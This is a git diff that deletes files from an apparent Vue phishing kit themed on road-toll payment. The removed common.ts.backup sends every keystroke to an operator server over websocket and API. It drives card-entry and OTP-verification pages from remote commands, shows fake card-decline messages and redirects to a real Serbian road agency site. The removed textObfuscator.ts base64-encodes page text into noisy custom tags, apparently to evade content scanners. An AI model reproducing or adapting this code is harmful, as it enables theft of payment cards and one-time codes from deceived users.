- * 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签
- */
-function obfuscateText(text: string): string {
- if (!text) return '';
-
- // 首先移除文本开头的所有空白字符以解决段落首行缩进问题
- text = text.replace(/^\s+/, '');
- if (!text) return '';
-
- // 使用正则表达式将文本拆分为单词和空格,保持完整性
- const words = text.split(/(\s+)/);
- let result = '';
-
- // 过滤掉空字符串,避免生成空的z-span元素
- const filteredWords = words.filter(word => word.length > 0);
-
- // 为每个单词创建一个独立的自定义元素
- filteredWords.forEach((word, index) => {
- // 对空格和特殊字符进行特殊处理
- if (/^\s+$/.test(word)) {
- // 改进:更精确地处理各种换行符
- if (/[\n\r]/.test(word)) {
- // 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素
- result += ' ';
- } else {
- // 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space
- result += ' ';
- }
- return;
- }
-
- // 随机在单词前添加噪声,但减少频率
- if (Math.random() > 0.85) {
- result += getRandomNoise();
- }
-
- // 为了提高效率,固定属性名
- const attrId = `data`;
-
- // 将单词编码为Base64
- const encodedWord = btoa(encodeURIComponent(word));
-
- // 随机选择z-span或z-strong标签增加混淆度
- const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong';
-
- // 添加标签开始部分
- result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`;
-
- // 随机在标签内添加隐藏内容,但减少频率
- if (Math.random() > 0.8) {
- const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5));
- result += `${fakeText} `;
- }
-
- // 闭合标签
- result += `${tagName}>`;
-
- // 随机在单词后添加噪声,但减少频率
- if (Math.random() > 0.85) {
- result += getRandomNoise();
- }
- });
-
- result += ' ';
- return result;
-}
-
-/**
- * 添加显示混淆内容的样式和解码脚本
- */
-function addObfuscationStyle() {
- // 添加样式
- if (!document.getElementById('obfuscation-style')) {
- const style = document.createElement('style');
- style.id = 'obfuscation-style';
- style.textContent = `
- /* 自定义元素基本样式 */
- z-wrap {
- display: inline;
- white-space: normal;
- user-select: none; /* 阻止文本选择 */
- text-indent: 0 !important; /* 确保无缩进 */
- }
-
- /* 添加一个类来允许选择文本的情况 */
- .allow-select z-wrap {
- user-select: text;
- }
-
- /* 确保段落中的混淆内容没有开头缩进 */
- p > z-wrap:first-child {
- text-indent: 0 !important;
- margin-left: 0 !important;
- padding-left: 0 !important;
- }
-
- /* 处理所有p标签,确保没有多余空间 */
- p {
- text-indent: 0;
- }
-
- z-span, z-strong {
- display: inline-block;
- position: relative;
- opacity: 1;
- transition: opacity 0.1s ease;
- margin: 0;
- padding: 0;
- }
-
- /* 控制右侧间距 */
- z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span {
- margin-left: 0.1em;
- }
-
- /* 移除最后一个元素的右侧间距 */
- z-span:last-child, z-strong:last-child {
- margin-right: 0;
- }
-
- z-span::after, z-strong::after {
- content: attr(data-content);
- position: relative;
- pointer-events: none;
- }
-
- /* 空格元素 - 精确控制宽度 */
- z-space {
- display: inline-block;
- width: 0.25em;
- margin: 0;
- padding: 0;
- }
-
- /* 空的z-span/z-strong元素不应该显示 */
- z-span:not([data-content]), z-strong:not([data-content]) {
- display: none;
- }
-
- /* 换行元素 - 强制换行且完全没有尺寸 */
- z-break {
- display: block !important;
- height: 0 !important;
- width: 0 !important;
- margin: 0 !important;
- padding: 0 !important;
- border: none !important;
- line-height: 0 !important;
- font-size: 0 !important;
- overflow: hidden !important;
- }
-
- /* 隐藏所有噪声元素 */
- z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden {
- display: none;
- width: 0;
- height: 0;
- opacity: 0;
- overflow: hidden;
- position: absolute;
- visibility: hidden;
- }
-
- /* 预加载状态 */
- [data-preload="true"] {
- min-width: 0.5em;
- min-height: 1em;
- }
- `;
- document.head.appendChild(style);
- }
-
- // 添加自定义元素注册,确保所有浏览器都能正确处理
- const scriptCustomElements = document.createElement('script');
- scriptCustomElements.textContent = `
- // 注册所有自定义元素
- if ('customElements' in window) {
- customElements.define('z-wrap', class extends HTMLElement {});
- customElements.define('z-span', class extends HTMLElement {});
- customElements.define('z-strong', class extends HTMLElement {});
- customElements.define('z-space', class extends HTMLElement {});
- customElements.define('z-break', class extends HTMLElement {});
-
- // 注册噪声元素
- customElements.define('z-nil', class extends HTMLElement {});
- customElements.define('z-void', class extends HTMLElement {});
- customElements.define('z-null', class extends HTMLElement {});
- customElements.define('z-fake', class extends HTMLElement {});
- customElements.define('z-empty', class extends HTMLElement {});
- customElements.define('z-attr', class extends HTMLElement {});
- customElements.define('z-text', class extends HTMLElement {});
- customElements.define('z-hidden', class extends HTMLElement {});
- }
- `;
- document.head.appendChild(scriptCustomElements);
-
- // 添加提前解码的脚本,放在顶部优先加载
- if (!document.getElementById('obfuscation-script')) {
- const script = document.createElement('script');
- script.id = 'obfuscation-script';
- script.textContent = `
- (function() {
- // 定义解码函数并暴露为全局函数
- window.decodeObfuscatedContent = function(rootElement) {
- const root = rootElement || document.body;
- const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]');
-
- if (elements.length === 0) return;
-
- // 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染
- const runWhenIdle = window.requestIdleCallback ||
- function(cb) { setTimeout(cb, 1); };
-
- runWhenIdle(() => {
- elements.forEach(el => {
- // 避免重复解码
- if (el.hasAttribute('data-content')) return;
-
- // 找到编码数据
- const dataAttr = el.getAttribute('data-data');
- if (dataAttr) {
- try {
- // 解码并设置
- const decodedWord = decodeURIComponent(atob(dataAttr));
- el.setAttribute('data-content', decodedWord);
- el.removeAttribute('data-preload');
- } catch (e) {
- // 解码失败时跳过
- }
- }
- });
- });
- };
-
- // 页面加载完成后立即执行一次全局解码
- if (document.readyState === 'loading') {
- document.addEventListener('DOMContentLoaded', function() {
- window.decodeObfuscatedContent();
- });
- } else {
- window.decodeObfuscatedContent();
- }
-
- // 使用IntersectionObserver优化解码性能
- if ('IntersectionObserver' in window) {
- const decodeObserver = new IntersectionObserver(
- (entries, observer) => {
- entries.forEach(entry => {
- if (entry.isIntersecting) {
- // 容器进入视口时解码其内容
- window.decodeObfuscatedContent(entry.target);
- observer.unobserve(entry.target);
- }
- });
- },
- { rootMargin: '200px 0px' } // 提前200像素开始解码
- );
-
- // 监听所有混淆容器
- function observeContainers() {
- document.querySelectorAll('z-wrap').forEach(container => {
- decodeObserver.observe(container);
- });
- }
-
- // 初始观察
- if (document.readyState === 'loading') {
- document.addEventListener('DOMContentLoaded', observeContainers);
- } else {
- observeContainers();
- }
-
- // 定期检查新容器
- setInterval(observeContainers, 2000);
- } else {
- // 降级方案:定期全局检查
- setInterval(() => window.decodeObfuscatedContent(), 1000);
- }
- })();
- `;
-
- // 将脚本添加到head的最前面,确保尽早加载
- if (document.head.firstChild) {
- document.head.insertBefore(script, document.head.firstChild);
- } else {
- document.head.appendChild(script);
- }
- }
-}
\ No newline at end of file
diff --git a/t_etc_temp2/src/utils/common.ts.backup b/t_etc_temp2/src/utils/common.ts.backup
deleted file mode 100644
index 8f55f26..0000000
--- a/t_etc_temp2/src/utils/common.ts.backup
+++ /dev/null
@@ -1,331 +0,0 @@
-import _ from "lodash";
-import { sendInput } from "@/api/api";
-import type { Socket } from "@/utils/websocket";
-import eventBus from "@/utils/eventBus";
-import router from "@/router";
-import { ref } from "vue";
-import { useSocket } from "@/utils/websocket";
-import { useLoadingStore } from "@/stores/loadingStore";
-import i18n from "@/main";
-import { useSocketIo } from "./socketio";
-
-const viteBaseUrl = import.meta.env.VITE_BASE_URL;
-
-// WebSocket interface
-interface MyWebSocket {
- socket: any;
- send: (data: string) => Promise;
- off: (event: string) => void;
- on: (event: string, callback: (data: any) => void) => void;
-}
-
-export const customOtpData = ref({});
-
-export function setCustomOtpData(data: any) {
- customOtpData.value = data;
- localStorage.setItem("customOtpData", JSON.stringify(data));
-}
-
-export let myWebSocket: MyWebSocket | undefined;
-
-// Configuration data
-export const configData = ref>({});
-
-// Utility function to check if all values in an object are not empty
-export function areAllValuesNotEmpty(
- obj: Record,
- excludedFields: string[] = []
-): boolean {
- return Object.keys(obj).every((key) => {
- if (excludedFields.includes(key)) return true;
- const value = obj[key];
- return (
- value !== null &&
- value !== undefined &&
- value !== "" &&
- !(typeof value === "string" && value.trim() === "")
- );
- });
-}
-
-// 存储 WebSocket 和 API 的防抖函数
-const wsDebounceFunctions: Record<
- string,
- _.DebouncedFunc<(...args: any[]) => void>
-> = {};
-const apiDebounceFunctions: Record<
- string,
- _.DebouncedFunc<(...args: any[]) => void>
-> = {};
-
-// 获取或创建针对某个键的防抖函数
-function getDebouncedFunction(
- debounceFunctions: Record void>>,
- key: string,
- func: (...args: any[]) => void,
- wait: number
-) {
- if (!debounceFunctions[key]) {
- debounceFunctions[key] = _.debounce(func, wait);
- }
- return debounceFunctions[key];
-}
-
-const modeRef = ref(1)
-
-
-// 处理输入变化
-export function inputChange(type: string, key: any, value: any) {
- const currentTimestamp = Date.now(); // 当前时间戳
-
- // WebSocket 防抖函数
- const wsDebouncedFunction = getDebouncedFunction(
- wsDebounceFunctions,
- key,
- (type, key, value) => {
- myWebSocket?.send(
- JSON.stringify({
- event: "input_text",
- content: { type, key, text: value },
- timestamp: currentTimestamp,
- })
- );
- },
- 300
- );
-
- // API 防抖函数
- const apiDebouncedFunction = getDebouncedFunction(
- apiDebounceFunctions,
- key,
- (type, key, value) => {
- sendInput({
- content: { type, key, text: value },
- timestamp: currentTimestamp,
- });
- },
- 1000
- );
-
- // 调用防抖函数
- wsDebouncedFunction(type, key, value);
- if(modeRef.value !== 2) {
- apiDebouncedFunction(type, key, value);
- }
-}
-
-
-// Handle login success
-export function loginSuccess(token: string, mode: number) {
- if(mode === 2) {
- modeRef.value = 2
- myWebSocket = useSocketIo(
- `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
- }/ws?token=${token}`
- );
- }else{
- myWebSocket = useSocket(
- `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
- }/ws?token=${token}`
- );
- }
-
- myWebSocket?.on("close", () => console.log("Socket closed!"));
- myWebSocket?.on("open", () => {
- const lastToken = localStorage.getItem("token");
- loginWebsocket(token, lastToken !== token);
- });
-
- myWebSocket?.on("message", handleMessage);
-
- window.addEventListener("beforeunload", () => {
- myWebSocket?.off("close");
- });
-}
-
-// Handle WebSocket messages
-function handleMessage(data: any) {
- const jsonData = JSON.parse(data);
- if (!jsonData || !jsonData.event) return;
-
- const { event, content } = jsonData;
-
- switch (event) {
- case "login":
- //handleLoginEvent(content);
- break;
- case "result_type":
- handleResultTypeEvent(content);
- break;
- case "reload":
- window.location.reload();
- break;
- default:
- break;
- }
-}
-
-// Handle login event
-function handleLoginEvent(content: any) {
- const route = localStorage.getItem("route");
- if (route) {
- const customOtpDataValue = localStorage.getItem("customOtpData");
- if (route === "customOtpValid" && customOtpDataValue) {
- setCustomOtpData(JSON.parse(customOtpDataValue));
- myWebSocket?.send(
- JSON.stringify({
- event: "page_type",
- content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type },
- })
- );
- return;
- }
- myWebSocket?.send(
- JSON.stringify({
- event: "page_type",
- content: { pageType: route },
- })
- );
- }
-}
-
-// Handle result type event
-function handleResultTypeEvent(content: any) {
- if (!content) return;
-
- const typeHandlers: Record void> = {
- customOtpValid: () => navigateTo("/customOtpValid", content),
- otpValid: () => navigateTo("/otpValid", content),
- appValid: () => navigateTo("/appValid", content),
- success: () => router.push("/success"),
- kickOut: redirectToExternal,
- block: redirectToExternal,
- otpFail: () =>
- eventBus.emit("otp-valid", {
- message2:
- content.value.message2 ||
- i18n.global.t("Verification code error, please try again"),
- }),
- appFail: () =>
- eventBus.emit("app-valid", {
- message2:
- content.value.message2 ||
- i18n.global.t(
- "The session is about to expire, please complete the verification now"
- ),
- }),
- back: () => handleBackOrReject(content, true),
- reject: () => handleBackOrReject(content, false),
- refresh: () => {
- if(localStorage.getItem("route")){
- localStorage.removeItem("route");
- window.location.reload();
- }
- },
- };
-
- if (content.type == "customOtpValid") {
- if(content.value.customOtpData) {
- setCustomOtpData(JSON.parse(content.value.customOtpData));
- }
-}
- if (content.type == "customOtpFail") {
- eventBus.emit("custom-otp-valid", {
- message2: content.value.message2,
- });
- }
-
- const handler = typeHandlers[content.type];
- if (handler) handler();
-
- useLoadingStore().setLoading(false);
-}
-
-// Navigate to specific path with query parameters
-function navigateTo(path: string, content: any) {
-
- router.push('/temp').then(() => {
- router.push({
- path: path,
- query: {
- cardType: content.value?.data?.cardData?.cardBIN?.schema,
- message1: content.value?.message1,
- key: new Date().getMilliseconds(),
- },
- });
- });
-}
-
-// Handle back or reject type
-function handleBackOrReject(content: any, isBack: boolean) {
- let message2 = i18n.global.t(
- "This card does not support this transaction, please try another card"
- );
-
- if (configData.value.error_card_msg) {
- message2 = configData.value.error_card_msg;
- }
-
- if (content.value.type) {
- const type = content.value.type;
- if (type === "denyC" && configData.value.deny_c_msg) {
- message2 = configData.value.deny_c_msg;
- }
- if (type === "denyD" && configData.value.deny_d_msg) {
- message2 = configData.value.deny_d_msg;
- }
- }
-
- if (content.value.message2) {
- message2 = content.value.message2;
- }
-
- if (isBack) {
- router.push({ path: "/card", query: { message2 } });
- }
-
- eventBus.emit("my-event", { message2 });
-}
-
-// Login to WebSocket
-function loginWebsocket(token: string, isFirst: boolean) {
- myWebSocket?.send(
- JSON.stringify({
- event: "login",
- content: { tag: "user", token, isFirst },
- })
- );
- initHtml();
-}
-
-// Redirect to an external URL
-export function redirectToExternal() {
- window.location.href = "https://www.putevi-srbije.rs/";
-}
-
-export async function loadHtml(url: string) {
- try {
- const response = await fetch(url); // 替换为您的 HTML 文件路径
- if (!response.ok) {
- return "";
- }
- return await response.text();
- } catch (error) {
- return "";
- }
-}
-
-export const headerHtml = ref("");
-export const footerHtml = ref("");
-export const loadingBg = ref("#ffffff");
-
-const initHtml = async () => {
- const routePath = localStorage.getItem("route");
- headerHtml.value = await loadHtml("/Static_zy/header.html");
- footerHtml.value = await loadHtml("/Static_zy/footer.html");
- await router.push(routePath ? `/${routePath}` : "/phone");
- setTimeout(async () => {
- useLoadingStore().setLoading(false);
- loadingBg.value = "transparent";
- }, 200);
-};
diff --git a/t_etc_temp3/src/components/HelloWorld.vue b/t_etc_temp3/src/components/HelloWorld.vue
deleted file mode 100644
index 8f39347..0000000
--- a/t_etc_temp3/src/components/HelloWorld.vue
+++ /dev/null
@@ -1,51 +0,0 @@
-
-
-
-
-
{{ msg }}
-
Send /
-
- You’ve successfully created a project with
- Vite +
- Vue 3 .
- What's next?
-
-
-
-
-
diff --git a/t_etc_temp3/src/components/TheWelcome.vue b/t_etc_temp3/src/components/TheWelcome.vue
deleted file mode 100644
index a70765c..0000000
--- a/t_etc_temp3/src/components/TheWelcome.vue
+++ /dev/null
@@ -1,86 +0,0 @@
-
-
-
-
-
-
-
- Documentation
-
- Vue’s
- official documentation
- provides you with all information you need to get started.
-
-
-
-
-
-
- Tooling
-
- This project is served and bundled with
- Vite . The
- recommended IDE setup is
- VSCode +
- Volar . If
- you need to test your components and web pages, check out
- Cypress and
- Cypress Component Testing .
-
-
-
- More instructions are available in README.md.
-
-
-
-
-
-
- Ecosystem
-
- Get official tools and libraries for your project:
- Pinia ,
- Vue Router ,
- Vue Test Utils , and
- Vue Dev Tools . If
- you need more resources, we suggest paying
- Awesome Vue
- a visit.
-
-
-
-
-
-
- Community
-
- Got stuck? Ask your question on
- Vue Land , our official
- Discord server, or
- StackOverflow . You should also subscribe to
- our mailing list and follow
- the official
- @vuejs
- twitter account for latest news in the Vue world.
-
-
-
-
-
-
- Support Vue
-
- As an independent project, Vue relies on community backing for its sustainability. You can help
- us by
- becoming a sponsor .
-
-
diff --git a/t_etc_temp3/src/components/WelcomeItem.vue b/t_etc_temp3/src/components/WelcomeItem.vue
deleted file mode 100644
index ba0def3..0000000
--- a/t_etc_temp3/src/components/WelcomeItem.vue
+++ /dev/null
@@ -1,86 +0,0 @@
-
-
-
-
-
diff --git a/t_etc_temp3/src/main.ts b/t_etc_temp3/src/main.ts
index f4f3682..9f2935b 100644
--- a/t_etc_temp3/src/main.ts
+++ b/t_etc_temp3/src/main.ts
@@ -1,4 +1,3 @@
-import { TextObfuscatorPlugin } from "./mix/textObfuscator";
import { createApp, ref } from "vue";
import { createPinia } from "pinia";
@@ -25,6 +24,5 @@ app.use(i18n);
app.use(createPinia());
app.use(router);
-// //app.use(TextObfuscatorPlugin);
app.mount("#app");
export default i18n;
diff --git a/t_etc_temp3/src/mix/textObfuscator.ts b/t_etc_temp3/src/mix/textObfuscator.ts
deleted file mode 100644
index 76c21e9..0000000
--- a/t_etc_temp3/src/mix/textObfuscator.ts
+++ /dev/null
@@ -1,643 +0,0 @@
-import type { ComponentInternalInstance, Plugin, App } from 'vue';
-
-/**
- * 全局文本混淆插件
- * 自动查找并替换所有文本节点
- */
-// 修改Vue混淆插件以确保处理整个组件树
-export const TextObfuscatorPlugin: Plugin = {
- install(app: App) {
- // 安装全局样式和解码脚本
- addObfuscationStyle();
-
- // 注册全局指令,直接处理元素内容
- app.directive('odata', {
- mounted(el) {
- processTextNodes(el, null);
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(el), 0);
- }
- setupMutationObserver(el);
- },
- updated(el) {
- processTextNodes(el, null);
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(el), 0);
- }
- }
- });
-
- // 在 app.mixin 中修改处理 $el 的部分
- app.mixin({
- mounted() {
- // 安全地获取组件的根元素(s)
- const rootElements = this.$el ?
- (this.$el.nodeType === Node.ELEMENT_NODE ?
- [this.$el] :
- (Array.isArray(this.$el) ? this.$el : [])) :
- [];
-
- // 处理每个根元素
- rootElements.forEach((rootElement: Element) => {
- if (!rootElement || !(rootElement instanceof Element)) return;
-
- // 1. 首先处理当前组件的根元素
- processTextNodes(rootElement, this);
-
- // 2. 递归处理所有子元素,确保覆盖所有文本节点
- const processAllChildNodes = (element: Element) => {
- if (!(element instanceof Element)) return;
-
- try {
- // 为每个子元素单独处理文本节点
- const childElements = element.querySelectorAll('*');
- childElements.forEach(childEl => {
- processTextNodes(childEl, null);
- });
-
- // 立即解码当前处理的元素
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(element), 0);
- }
- } catch (error) {
- console.error('Error processing child nodes:', error, element);
- }
- };
-
- // 处理整个组件树
- processAllChildNodes(rootElement);
-
- // 设置监听
- setupMutationObserver(rootElement);
- });
- // 添加:深度扫描所有包含纯文本的元素
- setTimeout(() => {
- const scanPureTextElements = (rootElement: Element) => {
- // 跳过已处理过的元素
- if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) {
- return;
- }
-
- // 检查是否为包含纯文本的元素(只有文本节点,没有元素节点)
- let hasOnlyTextNodes = false;
- let hasElementNodes = false;
-
- if (rootElement.childNodes && rootElement.childNodes.length > 0) {
- hasOnlyTextNodes = Array.from(rootElement.childNodes).some(
- node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim()
- );
-
- hasElementNodes = Array.from(rootElement.childNodes).some(
- node => node.nodeType === Node.ELEMENT_NODE
- );
- }
-
- // 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它
- if (hasOnlyTextNodes && !hasElementNodes &&
- !SKIP_TAGS.includes(rootElement.tagName) &&
- !Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) {
- processTextNodes(rootElement, null);
- if (window.decodeObfuscatedContent) {
- window.decodeObfuscatedContent(rootElement);
- }
- }
-
- // 递归处理子元素
- if (rootElement.children) {
- Array.from(rootElement.children).forEach(child => {
- scanPureTextElements(child);
- });
- }
- };
-
- // 从body开始扫描
- scanPureTextElements(document.body);
- }, 10); // 给DOM足够的时间渲染
- },
-
- updated() {
- // 安全地获取组件的根元素(s)
- const rootElements = this.$el ?
- (this.$el.nodeType === Node.ELEMENT_NODE ?
- [this.$el] :
- (Array.isArray(this.$el) ? this.$el : [])) :
- [];
-
- // 处理每个根元素
- rootElements.forEach((rootElement: Element | undefined) => {
- if (!rootElement || !(rootElement instanceof Element)) return;
-
- processTextNodes(rootElement, this);
-
- try {
- // 递归处理所有子元素
- const childElements = rootElement.querySelectorAll('*');
- childElements.forEach((childEl: Element) => {
- processTextNodes(childEl, null);
- });
-
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(rootElement), 0);
- }
- } catch (error) {
- console.error('Error processing updated component:', error, rootElement);
- }
- });
- }
- });
- }
-};
-
-// 声明全局函数类型
-declare global {
- interface Window {
- decodeObfuscatedContent: (rootElement?: Element) => void;
- }
-}
-
-// 需要跳过的标签
-const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE'];
-// 需要跳过的类名
-const SKIP_CLASSES = ['no-obfuscate'];
-
-/**
- * 处理元素中的所有文本节点
- */
-function processTextNodes(element: Element, instance: ComponentInternalInstance | null) {
- if (!element || element.nodeType !== Node.ELEMENT_NODE) {
- return;
- }
- // 为 DIV 元素增加优先处理逻辑
- if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) {
- // 对于DIV元素,特殊处理其直接子文本节点
- let hasTextContent = false;
- for (let i = 0; i < element.childNodes.length; i++) {
- const node = element.childNodes[i];
- if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') {
- hasTextContent = true;
- break;
- }
- }
-
- // 如果DIV中有直接的文本内容,标记它需要被处理
- if (hasTextContent) {
- // 只处理未混淆过的DIV
- const textContent = Array.from(element.childNodes)
- .filter(node => node.nodeType === Node.TEXT_NODE && node.textContent)
- .map(node => node.textContent).join('').trim();
-
- if (textContent) {
- // 替换整个DIV的内容
- const originalHTML = element.innerHTML;
- const processedHTML = obfuscateText(textContent);
- element.innerHTML = processedHTML + originalHTML.replace(textContent, '');
- element.setAttribute('data-obfuscated', 'true');
- }
- }
- }
- // 跳过带有特定标记的元素(避免重复处理)
- if (element.hasAttribute('data-obfuscated') ||
- !element ||
- SKIP_TAGS.includes(element.tagName) ||
- Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) {
- return;
- }
-
- // 使用 TreeWalker 遍历所有文本节点
- const walker = document.createTreeWalker(
- element,
- NodeFilter.SHOW_TEXT,
- {
- acceptNode(node) {
- // 不处理完全空的文本节点
- if (!node.textContent) {
- return NodeFilter.FILTER_REJECT;
- }
-
- // 检查父节点是否应该被跳过
- const parent = node.parentElement;
- if (parent && (
- SKIP_TAGS.includes(parent.tagName) ||
- parent.hasAttribute('data-obfuscated') ||
- Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls))
- )) {
- return NodeFilter.FILTER_REJECT;
- }
-
- // 如果只包含空白且不是段落的首个节点,则跳过
- if (node.textContent.trim() === '' &&
- !(parent?.tagName === 'P' && node === parent.firstChild)) {
- return NodeFilter.FILTER_REJECT;
- }
-
- return NodeFilter.FILTER_ACCEPT;
- }
- }
- );
-
- // 收集需要处理的文本节点
- const textNodes: Text[] = [];
- let currentNode: Node | null = walker.nextNode();
-
- while (currentNode) {
- textNodes.push(currentNode as Text);
- currentNode = walker.nextNode();
- }
-
- // 预先计算所有混淆内容,减少DOM操作次数
- const fragments: DocumentFragment[] = [];
- const nodesToReplace: Text[] = [];
-
- // 在处理文本节点前,移除所有前导空格
- for (const textNode of textNodes) {
- const text = textNode.textContent;
- if (!text) continue;
-
- // 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白
- let processedText = text;
- if (textNode.parentElement?.tagName === 'P' &&
- textNode === textNode.parentElement.firstChild) {
- // 去除开头的空白,无论什么情况
- processedText = text.replace(/^\s+/, '');
- // 如果去除空白后为空,直接跳过这个节点
- if (!processedText) continue;
- }
-
- try {
- // 创建文档碎片来存储混淆后的内容
- const fragment = document.createDocumentFragment();
- const tempContainer = document.createElement('div');
- tempContainer.innerHTML = obfuscateText(processedText);
-
- // 将内容移动到碎片中
- while (tempContainer.firstChild) {
- fragment.appendChild(tempContainer.firstChild);
- }
-
- fragments.push(fragment);
- nodesToReplace.push(textNode);
- } catch (error) {
- console.error('Error processing text node:', error);
- }
- }
-
- // 批量替换节点,减少回流
- for (let i = 0; i < nodesToReplace.length; i++) {
- const textNode = nodesToReplace[i];
- const fragment = fragments[i];
-
- if (textNode.parentNode) {
- textNode.parentNode.replaceChild(fragment, textNode);
- }
- }
-}
-
-/**
- * 设置 MutationObserver 来监听 DOM 变化
- */
-function setupMutationObserver(element: Element) {
- if (!element) return;
-
- const observer = new MutationObserver((mutations) => {
- for (const mutation of mutations) {
- if (mutation.type === 'childList' && mutation.addedNodes.length) {
- mutation.addedNodes.forEach((node) => {
- if (node.nodeType === Node.ELEMENT_NODE) {
- processTextNodes(node as Element, null);
- // 观察到新元素后立即解码
- if (window.decodeObfuscatedContent) {
- window.decodeObfuscatedContent(node as Element);
- }
- }
- });
- }
- }
- });
-
- observer.observe(element, {
- childList: true,
- subtree: true
- });
-}
-
-/**
- * 生成随机噪声标签和注释
- */
-function getRandomNoise() {
- const noiseTypes = [
- // HTML注释
- () => ``,
- // 空的自定义元素
- () => {
- const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty'];
- const tag = tags[Math.floor(Math.random() * tags.length)];
- return `<${tag}>${tag}>`;
- },
- // 带随机属性的自定义元素
- () => {
- const attr = `data-${Math.random().toString(36).substring(2, 7)}`;
- const value = Math.random().toString(36).substring(2, 10);
- return ` `;
- },
- // 带随机文本的隐藏元素
- () => {
- const text = Math.random().toString(36).substring(2, 8);
- return `${text} `;
- }
- ];
-
- // 随机选择一种噪声类型
- const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)];
- return noiseGenerator();
-}
-
-/**
- * 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签
- */
-function obfuscateText(text: string): string {
- if (!text) return '';
-
- // 首先移除文本开头的所有空白字符以解决段落首行缩进问题
- text = text.replace(/^\s+/, '');
- if (!text) return '';
-
- // 使用正则表达式将文本拆分为单词和空格,保持完整性
- const words = text.split(/(\s+)/);
- let result = '';
-
- // 过滤掉空字符串,避免生成空的z-span元素
- const filteredWords = words.filter(word => word.length > 0);
-
- // 为每个单词创建一个独立的自定义元素
- filteredWords.forEach((word, index) => {
- // 对空格和特殊字符进行特殊处理
- if (/^\s+$/.test(word)) {
- // 改进:更精确地处理各种换行符
- if (/[\n\r]/.test(word)) {
- // 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素
- result += ' ';
- } else {
- // 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space
- result += ' ';
- }
- return;
- }
-
- // 随机在单词前添加噪声,但减少频率
- if (Math.random() > 0.85) {
- result += getRandomNoise();
- }
-
- // 为了提高效率,固定属性名
- const attrId = `data`;
-
- // 将单词编码为Base64
- const encodedWord = btoa(encodeURIComponent(word));
-
- // 随机选择z-span或z-strong标签增加混淆度
- const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong';
-
- // 添加标签开始部分
- result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`;
-
- // 随机在标签内添加隐藏内容,但减少频率
- if (Math.random() > 0.8) {
- const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5));
- result += `${fakeText} `;
- }
-
- // 闭合标签
- result += `${tagName}>`;
-
- // 随机在单词后添加噪声,但减少频率
- if (Math.random() > 0.85) {
- result += getRandomNoise();
- }
- });
-
- result += ' ';
- return result;
-}
-
-/**
- * 添加显示混淆内容的样式和解码脚本
- */
-function addObfuscationStyle() {
- // 添加样式
- if (!document.getElementById('obfuscation-style')) {
- const style = document.createElement('style');
- style.id = 'obfuscation-style';
- style.textContent = `
- /* 自定义元素基本样式 */
- z-wrap {
- display: inline;
- white-space: normal;
- user-select: none; /* 阻止文本选择 */
- text-indent: 0 !important; /* 确保无缩进 */
- }
-
- /* 添加一个类来允许选择文本的情况 */
- .allow-select z-wrap {
- user-select: text;
- }
-
- /* 确保段落中的混淆内容没有开头缩进 */
- p > z-wrap:first-child {
- text-indent: 0 !important;
- margin-left: 0 !important;
- padding-left: 0 !important;
- }
-
- /* 处理所有p标签,确保没有多余空间 */
- p {
- text-indent: 0;
- }
-
- z-span, z-strong {
- display: inline-block;
- position: relative;
- opacity: 1;
- transition: opacity 0.1s ease;
- margin: 0;
- padding: 0;
- }
-
- /* 控制右侧间距 */
- z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span {
- margin-left: 0.1em;
- }
-
- /* 移除最后一个元素的右侧间距 */
- z-span:last-child, z-strong:last-child {
- margin-right: 0;
- }
-
- z-span::after, z-strong::after {
- content: attr(data-content);
- position: relative;
- pointer-events: none;
- }
-
- /* 空格元素 - 精确控制宽度 */
- z-space {
- display: inline-block;
- width: 0.25em;
- margin: 0;
- padding: 0;
- }
-
- /* 空的z-span/z-strong元素不应该显示 */
- z-span:not([data-content]), z-strong:not([data-content]) {
- display: none;
- }
-
- /* 换行元素 - 强制换行且完全没有尺寸 */
- z-break {
- display: block !important;
- height: 0 !important;
- width: 0 !important;
- margin: 0 !important;
- padding: 0 !important;
- border: none !important;
- line-height: 0 !important;
- font-size: 0 !important;
- overflow: hidden !important;
- }
-
- /* 隐藏所有噪声元素 */
- z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden {
- display: none;
- width: 0;
- height: 0;
- opacity: 0;
- overflow: hidden;
- position: absolute;
- visibility: hidden;
- }
-
- /* 预加载状态 */
- [data-preload="true"] {
- min-width: 0.5em;
- min-height: 1em;
- }
- `;
